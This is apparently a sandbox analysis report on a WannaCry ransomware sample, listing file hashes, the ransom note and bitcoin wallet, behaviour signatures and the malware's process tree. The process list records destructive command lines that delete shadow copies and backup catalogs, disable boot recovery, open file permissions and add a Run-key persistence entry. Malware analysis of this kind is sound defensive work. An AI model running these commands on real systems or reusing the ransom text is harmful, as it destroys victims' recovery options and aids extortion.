Overview

overview

10

task1

 

10

task2

 

10

Resubmissions

13-11-2019 07:33

191113-s6xvalyd5a 0

12-11-2019 15:34

191112-9te2mt6rbs 0

04-11-2019 16:22

191104-pvpshym7va 0

Analysis

  • max time kernel
    140s
  • max time network
    152s
  • resource
    win10v191014

Sharing

Copy URL
Twitter E-mail

General

  • Target

    test.zip

  • Sample

    191112-9te2mt6rbs

  • SHA256

    72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5

Score
N/A

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note
Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Deletes shadow copies 2 TTPs 2 IoCs
    ransomware
  • Wannacry file encrypt 64 IoCs
  • Drops startup file 6 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
  • wannacry family
    familywannacry
  • Drops Office document 29 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 5 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion
  • Modifies file permissions 1 TTPs 1 IoCs
  • Executes dropped EXE 16 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Loads dropped DLL 1 IoCs
  • Uses Volume Shadow Copy Service COM API 13 IoCs
    ransomware
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Adds Run entry to start application 2 TTPs 1 IoCs
    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
    "C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
    1⤵
    • Wannacry file encrypt
    • Drops startup file
    • Drops Office document
    • Suspicious use of WriteProcessMemory
    • Sets desktop wallpaper using registry
    PID:4880
  • C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    1⤵
    • Views/modifies file attributes
    PID:4896
  • C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    1⤵
    • Modifies file permissions
    PID:4904
  • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
    taskdl.exe
    1⤵
    • Executes dropped EXE
    PID:4220
  • C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 65891573632598.bat
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:68
  • C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    1⤵
      PID:4196
    • C:\Users\Admin\AppData\Local\Temp\@[email protected]
      @[email protected] co
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4316
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c start /b @[email protected] vs
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4300
    • C:\Users\Admin\AppData\Local\Temp\@[email protected]
      @[email protected] vs
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3800
    • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
      taskdl.exe
      1⤵
      • Executes dropped EXE
      PID:3676
    • C:\Users\Admin\AppData\Local\Temp\taskse.exe
      taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Executes dropped EXE
      PID:3036
    • C:\Users\Admin\AppData\Local\Temp\@[email protected]
      @[email protected]
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Sets desktop wallpaper using registry
      PID:1872
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3020
    • C:\Windows\SysWOW64\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
      1⤵
      • Modifies registry key
      • Adds Run entry to start application
      PID:3208
    • C:\Windows\system32\SppExtComObj.exe
      C:\Windows\system32\SppExtComObj.exe -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4516
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      1⤵
        PID:4552
      • C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
        TaskData\Tor\taskhsvc.exe
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        • Executes dropped EXE
        • Loads dropped DLL
        PID:4900
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1032
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin delete shadows /all /quiet
        1⤵
        • Deletes shadow copies
        • Uses Volume Shadow Copy Service COM API
        PID:1088
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Uses Volume Shadow Copy Service COM API
        PID:1260
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic shadowcopy delete
        1⤵
        • Deletes shadow copies
        • Suspicious use of AdjustPrivilegeToken
        PID:1440
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        1⤵
        • Executes dropped EXE
        PID:2516
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Executes dropped EXE
        PID:2604
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s BITS
        1⤵
        • Drops file in system dir
        PID:4948
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
        1⤵
          PID:764
        • C:\Users\Admin\AppData\Local\Temp\taskse.exe
          taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          • Executes dropped EXE
          PID:1432
        • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
          taskdl.exe
          1⤵
          • Executes dropped EXE
          PID:3648
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
          1⤵
          • Checks system information in the registry (likely anti-VM)
          PID:4060
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k unistacksvcgroup
          1⤵
            PID:4268
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
            1⤵
            • Windows security modification
            PID:3836
          • C:\Users\Admin\AppData\Local\Temp\taskse.exe
            taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            • Executes dropped EXE
            PID:760
          • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
            taskdl.exe
            1⤵
            • Executes dropped EXE
            PID:4916

          Network

          MITRE ATT&CK Enterprise v15

          MITRE ATT&CK Additional techniques

          • T1107
          • T1089
          • T1158
          • T1060

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/4880-36-0x0000000010000000-0x0000000010010000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4900-257-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-233-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-68-0x00000000038C0000-0x00000000038C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-67-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-70-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-85-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-119-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-122-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-164-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-176-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-211-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-231-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-232-0x00000000038C0000-0x00000000038C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-69-0x00000000030C0000-0x00000000030C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-397-0x0000000003EC0000-0x0000000003EC1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-396-0x00000000036C0000-0x00000000036C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-549-0x00000000036C0000-0x00000000036C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-548-0x00000000036C0000-0x00000000036C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-544-0x00000000036C0000-0x00000000036C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-534-0x00000000036C0000-0x00000000036C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-530-0x00000000036C0000-0x00000000036C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-524-0x00000000036C0000-0x00000000036C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-509-0x00000000036C0000-0x00000000036C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-445-0x00000000036C0000-0x00000000036C1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/4900-399-0x00000000036C0000-0x00000000036C1000-memory.dmp

            Filesize

            4KB

            Download